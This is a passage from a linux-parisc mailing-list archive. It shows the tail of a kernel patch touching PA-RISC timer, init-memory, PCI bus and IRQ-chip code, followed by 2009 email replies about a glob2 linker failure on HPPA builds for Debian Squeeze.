-	 * before we call it "late". I've picked one second.
-	 */
-	if (unlikely(ticks_elapsed > HZ)) {
-		/* Scenario 3: very long delay?  bad in any case */
-		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
-			" cycles %lX rem %lX "
-			" next/now %lX/%lX\n",
-			cpu,
-			cycles_elapsed, cycles_remainder,
-			next_tick, now );
+		ticks_elapsed += cycles_elapsed / cpt;
 	}
 
 	/* convert from "division remainder" to "remainder of clock tick" */
@@ -122,18 +102,56 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cpuinfo->it_value = next_tick;
 
-	/* Skip one clocktick on purpose if we are likely to miss next_tick.
-	 * We want to avoid the new next_tick being less than CR16.
-	 * If that happened, itimer wouldn't fire until CR16 wrapped.
-	 * We'll catch the tick we missed on the tick after that.
+	/* Program the IT when to deliver the next interrupt.
+	 * Only bottom 32-bits of next_tick are writable in CR16!
 	 */
-	if (!(cycles_remainder >> 13))
-		next_tick += cpt;
-
-	/* Program the IT when to deliver the next interrupt. */
-	/* Only bottom 32-bits of next_tick are written to cr16.  */
 	mtctl(next_tick, 16);
 
+	/* Skip one clocktick on purpose if we missed next_tick.
+	 * The new CR16 must be "later" than current CR16 otherwise
+	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
+	 * later on a 1Ghz processor. We'll account for the missed
+	 * tick on the next timer interrupt.
+	 *
+	 * "next_tick - now" will always give the difference regardless
+	 * if one or the other wrapped. If "now" is "bigger" we'll end up
+	 * with a very large unsigned number.
+	 */
+	now2 = mfctl(16);
+	if (next_tick - now2 > cpt)
+		mtctl(next_tick+cpt, 16);
+
+#if 1
+/*
+ * GGG: DEBUG code for how many cycles programming CR16 used.
+ */
+	if (unlikely(now2 - now > 0x3000)) 	/* 12K cycles */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): SLOW! 0x%lx cycles!"
+			" cyc %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu, now2 - now, cycles_elapsed, cycles_remainder,
+			next_tick, now );
+#endif
+
+	/* Can we differentiate between "early CR16" (aka Scenario 1) and
+	 * "long delay" (aka Scenario 3)? I don't think so.
+	 *
+	 * Timer_interrupt will be delivered at least a few hundred cycles
+	 * after the IT fires. But it's arbitrary how much time passes
+	 * before we call it "late". I've picked one second.
+	 *
+	 * It's important NO printk's are between reading CR16 and
+	 * setting up the next value. May introduce huge variance.
+	 */
+	if (unlikely(ticks_elapsed > HZ)) {
+		/* Scenario 3: very long delay?  bad in any case */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
+			" cycles %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu,
+			cycles_elapsed, cycles_remainder,
+			next_tick, now );
+	}
 
 	/* Done mucking with unreliable delivery of interrupts.
 	 * Go do system house keeping.
@@ -173,7 +191,7 @@ EXPORT_SYMBOL(profile_pc);
 
 /* clock source code */
 
-static cycle_t read_cr16(void)
+static cycle_t read_cr16(struct clocksource *cs)
 {
 	return get_cycles();
 }
diff --git a/arch/parisc/lib/checksum.c b/arch/parisc/lib/checksum.c
index 462696d..ae66d31 100644
--- a/arch/parisc/lib/checksum.c
+++ b/arch/parisc/lib/checksum.c
@@ -13,8 +13,6 @@
  *		modify it under the terms of the GNU General Public License
  *		as published by the Free Software Foundation; either version
  *		2 of the License, or (at your option) any later version.
- *
- * $Id: checksum.c,v 1.3 1997/12/01 17:57:34 ralf Exp $
  */
 #include <linux/module.h>
 #include <linux/types.h>
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index bbda909..abf41f4 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -405,7 +405,7 @@ byte_copy:
 
 unaligned_copy:
 	/* possibly we are aligned on a word, but not on a double... */
-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
 		t2 = src & (sizeof(unsigned int) - 1);
 
 		if (unlikely(t2 != 0)) {
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 66c8a9f..3ca1c61 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -40,7 +40,7 @@
  * END_DESC
 */
 
-
+#include <linux/kernel.h>
 #include "float.h"
 #include "sgl_float.h"
 #include "dbl_float.h"
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 92c7fa4..d617e79 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -1,5 +1,4 @@
-/* $Id: fault.c,v 1.5 2000/01/26 16:20:29 jsm Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 4356ceb..b0831d9 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -370,34 +370,22 @@ static void __init setup_bootmem(void)
 
 void free_initmem(void)
 {
-	unsigned long addr, init_begin, init_end;
-
-	printk(KERN_INFO "Freeing unused kernel memory: ");
+	unsigned long addr;
+	unsigned long init_begin = (unsigned long)__init_begin;
+	unsigned long init_end = (unsigned long)__init_end;
 
 #ifdef CONFIG_DEBUG_KERNEL
 	/* Attempt to catch anyone trying to execute code here
 	 * by filling the page with BRK insns.
-	 * 
-	 * If we disable interrupts for all CPUs, then IPI stops working.
-	 * Kinda breaks the global cache flushing.
 	 */
-	local_irq_disable();
-
-	memset(__init_begin, 0x00,
-		(unsigned long)__init_end - (unsigned long)__init_begin);
-
-	flush_data_cache();
-	asm volatile("sync" : : );
-	flush_icache_range((unsigned long)__init_begin, (unsigned long)__init_end);
-	asm volatile("sync" : : );
-
-	local_irq_enable();
+	memset((void *)init_begin, 0x00, init_end - init_begin);
+	flush_icache_range(init_begin, init_end);
 #endif
 	
 	/* align __init_begin and __init_end to page size,
 	   ignoring linker script where we might have tried to save RAM */
-	init_begin = PAGE_ALIGN((unsigned long)(__init_begin));
-	init_end   = PAGE_ALIGN((unsigned long)(__init_end));
+	init_begin = PAGE_ALIGN(init_begin);
+	init_end = PAGE_ALIGN(init_end);
 	for (addr = init_begin; addr < init_end; addr += PAGE_SIZE) {
 		ClearPageReserved(virt_to_page(addr));
 		init_page_count(virt_to_page(addr));
@@ -409,7 +397,8 @@ void free_initmem(void)
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
 	
-	printk("%luk freed\n", (init_end - init_begin) >> 10);
+	printk(KERN_INFO "Freeing unused kernel memory: %luk freed\n",
+		(init_end - init_begin) >> 10);
 }
 
 
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 5d610cb..0f0e0b9 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1134,7 +1134,7 @@ static const struct file_operations ccio_proc_bitmap_fops = {
 	.llseek = seq_lseek,
 	.release = single_release,
 };
-#endif
+#endif /* CONFIG_PROC_FS */
 
 /**
  * ccio_find_ioc - Find the ioc in the ioc_list
@@ -1568,14 +1568,15 @@ static int __init ccio_probe(struct parisc_device *dev)
 	/* if this fails, no I/O cards will work, so may as well bug */
 	BUG_ON(dev->dev.platform_data == NULL);
 	HBA_DATA(dev->dev.platform_data)->iommu = ioc;
-	
+
+#ifdef CONFIG_PROC_FS
 	if (ioc_count == 0) {
 		proc_create(MODULE_NAME, 0, proc_runway_root,
 			    &ccio_proc_info_fops);
 		proc_create(MODULE_NAME"-bitmap", 0, proc_runway_root,
 			    &ccio_proc_bitmap_fops);
 	}
-
+#endif
 	ioc_count++;
 
 	parisc_has_iommu();
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 52ae0b1..c590974 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -353,7 +353,7 @@ static unsigned int dino_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type dino_interrupt_type = {
+static struct irq_chip dino_interrupt_type = {
 	.typename	= "GSC-PCI",
 	.startup	= dino_startup_irq,
 	.shutdown	= dino_disable_irq,
@@ -1019,22 +1019,22 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	bus = pci_scan_bus_parented(&dev->dev, dino_current_bus,
-				    &dino_cfg_ops, NULL);
+	dino_dev->hba.hba_bus = bus = pci_scan_bus_parented(&dev->dev,
+			 dino_current_bus, &dino_cfg_ops, NULL);
+
 	if(bus) {
-		pci_bus_add_devices(bus);
 		/* This code *depends* on scanning being single threaded
 		 * if it isn't, this global bus number count will fail
 		 */
 		dino_current_bus = bus->subordinate + 1;
 		pci_bus_assign_resources(bus);
+		pci_bus_add_devices(bus);
 	} else {
-		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n",
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
 	}
-	dino_dev->hba.hba_bus = bus;
 	return 0;
 }
 
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index f415fdd..eb079d6 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -188,7 +188,7 @@ static unsigned int eisa_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type eisa_interrupt_type = {
+static struct irq_chip eisa_interrupt_type = {
 	.typename =	"EISA",
 	.startup =	eisa_startup_irq,
 	.shutdown =	eisa_disable_irq,
diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
index d336329..647adc9 100644
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -148,7 +148,7 @@ static unsigned int gsc_asic_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type gsc_asic_interrupt_type = {
+static struct irq_chip gsc_asic_interrupt_type = {
 	.typename =	"GSC-ASIC",
 	.startup =	gsc_asic_startup_irq,
 	.shutdown =	gsc_asic_disable_irq,
@@ -158,7 +158,7 @@ static struct hw_interrupt_type gsc_asic_interrupt_type = {
 	.end =		no_end_irq,
 };
 
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data)
+int gsc_assign_irq(struct irq_chip *type, void *data)
 {
 	static int irq = GSC_IRQ_BASE;
 	struct irq_desc *desc;
diff --git a/drivers/parisc/gsc.h b/drivers/parisc/gsc.h
index 762a1ba..b9d7bfb 100644
--- a/drivers/parisc/gsc.h
+++ b/drivers/parisc/gsc.h
@@ -38,7 +38,7 @@ struct gsc_asic {
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic);
 int gsc_alloc_irq(struct gsc_irq *dev);			/* dev needs an irq */
 int gsc_claim_irq(struct gsc_irq *dev, int irq);	/* dev needs this irq */
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data);
+int gsc_assign_irq(struct irq_chip *type, void *data);
 int gsc_find_local_irq(unsigned int irq, int *global_irq, int limit);
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 		void (*choose)(struct parisc_device *child, void *ctrl));
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 73348c4..230a5a4 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -727,7 +727,7 @@ static void iosapic_set_affinity_irq(unsigned int irq,
 }
 #endif
 
-static struct hw_interrupt_type iosapic_interrupt_type = {
+static struct irq_chip iosapic_interrupt_type = {
 	.typename =	"IO-SAPIC-level",
 	.startup =	iosapic_startup_irq,
 	.shutdown =	iosapic_disable_irq,
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..1aebc1f 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,28 +980,38 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;    /* PA_VIEW */
+	pdc_pat_cell_mod_maddr_block_t *io_pdc_cell;    /* IO_VIEW */
 	int i;
 
+	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		return;
+
+	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!pa_pdc_cell) {
+		kfree(pa_pdc_cell);
+		return;
+	}
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				PA_VIEW, & pa_pdc_cell);
-	pa_count = pa_pdc_cell.mod[1];
+				PA_VIEW, pa_pdc_cell);
+	pa_count = pa_pdc_cell->mod[1];
 
 	status |= pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				IO_VIEW, &io_pdc_cell);
-	io_count = io_pdc_cell.mod[1];
+				IO_VIEW, io_pdc_cell);
+	io_count = io_pdc_cell->mod[1];
 
 	/* We've already done this once for device discovery...*/
 	if (status != PDC_OK) {
 		panic("pdc_pat_cell_module() call failed for LBA!\n");
 	}
 
-	if (PAT_GET_ENTITY(pa_pdc_cell.mod_info) != PAT_ENTITY_LBA) {
+	if (PAT_GET_ENTITY(pa_pdc_cell->mod_info) != PAT_ENTITY_LBA) {
 		panic("pdc_pat_cell_module() entity returned != PAT_ENTITY_LBA!\n");
 	}
 
@@ -1016,8 +1026,8 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		} *p, *io;
 		struct resource *r;
 
-		p = (void *) &(pa_pdc_cell.mod[2+i*3]);
-		io = (void *) &(io_pdc_cell.mod[2+i*3]);
+		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
+		io = (void *) &(io_pdc_cell->mod[2+i*3]);
 
 		/* Convert the PAT range data to PCI "struct resource" */
 		switch(p->type & 0xff) {
@@ -1096,6 +1106,9 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 			break;
 		}
 	}
+
+	kfree(pa_pdc_cell);
+	kfree(io_pdc_cell);
 }
 #else
 /* keep compiler from complaining about missing declarations */
@@ -1509,10 +1522,6 @@ lba_driver_probe(struct parisc_device *dev)
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,
 				cfg_ops, NULL);
-	if (lba_bus) {
-		lba_next_bus = lba_bus->subordinate + 1;
-		pci_bus_add_devices(lba_bus);
-	}
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
@@ -1533,7 +1542,6 @@ lba_driver_probe(struct parisc_device *dev)
 	}
 	pci_enable_bridges(lba_bus);
 
-
 	/*
 	** Once PCI register ops has walked the bus, access to config
 	** space is restricted. Avoids master aborts on config cycles.
@@ -1543,6 +1551,11 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
+	if (lba_bus) {
+		lba_next_bus = lba_bus->subordinate + 1;
+		pci_bus_add_devices(lba_bus);
+	}
+
 	/* Whew! Finally done! Tell services we got this one covered. */
 	return 0;
 }
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e5999c4..4b62b89 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2057,6 +2057,7 @@ void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 		r->start = (base & ~1UL) | PCI_F_EXTEND;
 		size = ~ READ_REG32(reg + LMMIO_DIRECT0_MASK);
 		r->end = r->start + size;
+		r->flags = IORESOURCE_MEM;
 	}
 }
 
@@ -2093,4 +2094,5 @@ void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
 	size = (~READ_REG32(sba->sba_hpa + LMMIO_DIST_MASK)) / ROPES_PER_IOC;
 	r->start += rope * (size + 1);	/* adjust base for this rope */
 	r->end = r->start + size;
+	r->flags = IORESOURCE_MEM;
 }
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 33e5ade..675f04e 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -325,7 +325,7 @@ static unsigned int superio_startup_irq(unsigned int irq)
 	return 0;
 }
 
-static struct hw_interrupt_type superio_interrupt_type = {
+static struct irq_chip superio_interrupt_type = {
 	.typename =	SUPERIO,
 	.startup =	superio_startup_irq,
 	.shutdown =	superio_disable_irq,
@@ -434,8 +434,8 @@ static void __init superio_parport_init(void)
 			0 /*base_hi*/,
 			PAR_IRQ, 
 			PARPORT_DMA_NONE /* dma */,
-			NULL /*struct pci_dev* */),
-			0 /* shared irq flags */ )
+			NULL /*struct pci_dev* */,
+			0 /* shared irq flags */))
 
 		printk(KERN_WARNING PFX "Probing parallel port failed.\n");
 #endif	/* CONFIG_PARPORT_PC */
diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index 97f3158..27e84e4 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -134,7 +134,7 @@ zalon_probe(struct parisc_device *dev)
 
 	host = ncr_attach(&zalon7xx_template, unit, &device);
 	if (!host)
-		goto fail;
+		return -ENODEV;
 
 	if (request_irq(dev->irq, ncr53c8xx_intr, IRQF_SHARED, "zalon", host)) {
 	  dev_printk(KERN_ERR, &dev->dev, "irq problem with %d, detaching\n ",
diff --git a/drivers/video/Kconfig b/drivers/video/Kconfig
index 0048f11..9eecbc0 100644
--- a/drivers/video/Kconfig
+++ b/drivers/video/Kconfig
@@ -616,6 +616,8 @@ config FB_STI
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
+	select STI_CONSOLE
+	select VT
 	default y
 	---help---
 	  STI refers to the HP "Standard Text Interface" which is a set of
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 4 Jul 2009 23:03:01 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20090704210301.GB19854@roeckx.be>
References: <20090703185756.GA323@roeckx.be> <20090704195218.1E7B4514A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246741396 2238 80.91.229.12 (4 Jul 2009 21:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jul 2009 21:03:16 +0000 (UTC)
Cc: pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 04 23:03:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNCO4-0006ln-2o
	for glpp-linux-parisc@gmane.org; Sat, 04 Jul 2009 23:03:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752251AbZGDVDD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jul 2009 17:03:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752345AbZGDVDD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Jul 2009 17:03:03 -0400
Original-Received: from gerard.telenet-ops.be ([195.130.132.48]:55819 "EHLO
	gerard.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752251AbZGDVDB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jul 2009 17:03:01 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by gerard.telenet-ops.be with bizsmtp
	id Bx321c0021cSCaU0Hx32XR; Sat, 04 Jul 2009 23:03:02 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id 0A6FDEAC5D; Sat,  4 Jul 2009 23:03:02 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090704195218.1E7B4514A@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1850 gmane.linux.debian.ports.hppa:5801 gmane.linux.debian.devel.release:30999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1850>

On Sat, Jul 04, 2009 at 03:52:16PM -0400, John David Anglin wrote:
> > And then there is glob2 that fails with:
> > /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot reach 0000f9bf_memcpy@@GLIBC_2.2+0, recompile with -ffunction-sections
> > /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot handle R_PARISC_PCREL17F for memcpy@@GLIBC_2.2
> > /usr/bin/ld: final link failed: Bad value
> > collect2: ld returned 1 exit status
> 
> I couldn't duplicate the problem with binutils 2.19.1-1 and gcc-4.3
> 4.3.3-10, or with my own binutils build on two different systems.
> 
> The above shouldn't happen as the text size of FileManager.o is well below
> the size where a 17-bit branch can't reach the stub table.  Possibly, the
> stub table is full.  On the otherhand, the "0000f9bf_memcpy@@GLIBC_2.2+0"
> string looks garbled.  So, this may be another form of the SMP memory
> corruption that causes the segvs, particularly if it isn't reproducible
> on the build system.

It actually already failed twice on the same system with the same
error.  I've just let it retry again, we'll see if it fails again.

The log file show this is with:
gcc-4.3 4.3.3-13 / 4.3.3-11
binutils 2.19.1-1


Kurt

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 01:30:21 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20090704233021.GA23183@roeckx.be>
References: <20090703185756.GA323@roeckx.be> <20090704195218.1E7B4514A@hiauly1.hia.nrc.ca> <20090704210301.GB19854@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246750236 21766 80.91.229.12 (4 Jul 2009 23:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jul 2009 23:30:36 +0000 (UTC)
Cc: pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 01:30:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNEgd-0001Gy-JC
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 01:30:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752298AbZGDXaV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jul 2009 19:30:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752465AbZGDXaV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Jul 2009 19:30:21 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:59075 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752298AbZGDXaU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jul 2009 19:30:20 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by juliette.telenet-ops.be with bizsmtp
	id BzWM1c0051cSCaU06zWMxe; Sun, 05 Jul 2009 01:30:21 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id 415B4EAC70; Sun,  5 Jul 2009 01:30:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090704210301.GB19854@roeckx.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1851 gmane.linux.debian.ports.hppa:5802 gmane.linux.debian.devel.release:31003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1851>

On Sat, Jul 04, 2009 at 11:03:01PM +0200, Kurt Roeckx wrote:
> On Sat, Jul 04, 2009 at 03:52:16PM -0400, John David Anglin wrote:
> > > And then there is glob2 that fails with:
> > > /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot reach 0000f9bf_memcpy@@GLIBC_2.2+0, recompile with -ffunction-sections
> > > /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot handle R_PARISC_PCREL17F for memcpy@@GLIBC_2.2
> > > /usr/bin/ld: final link failed: Bad value
> > > collect2: ld returned 1 exit status
> > 
> > I couldn't duplicate the problem with binutils 2.19.1-1 and gcc-4.3
> > 4.3.3-10, or with my own binutils build on two different systems.
> > 
> > The above shouldn't happen as the text size of FileManager.o is well below
> > the size where a 17-bit branch can't reach the stub table.  Possibly, the
> > stub table is full.  On the otherhand, the "0000f9bf_memcpy@@GLIBC_2.2+0"
> > string looks garbled.  So, this may be another form of the SMP memory
> > corruption that causes the segvs, particularly if it isn't reproducible
> > on the build system.
> 
> It actually already failed twice on the same system with the same
> error.  I've just let it retry again, we'll see if it fails again.

And it failed again with the same error, on peri now.


Kurt

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 4 Jul 2009 19:34:53 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20090704233454.B1A2B5160@hiauly1.hia.nrc.ca>
References: <20090703221525.GA4242@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246750506 22161 80.91.229.12 (4 Jul 2009 23:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jul 2009 23:35:06 +0000 (UTC)
Cc: pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: kurt@roeckx.be (Kurt Roeckx)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 01:34:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNEkz-0001Gy-BN
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 01:34:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752392AbZGDXew (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jul 2009 19:34:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752517AbZGDXew
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Jul 2009 19:34:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3909 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752392AbZGDXew (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jul 2009 19:34:52 -0400
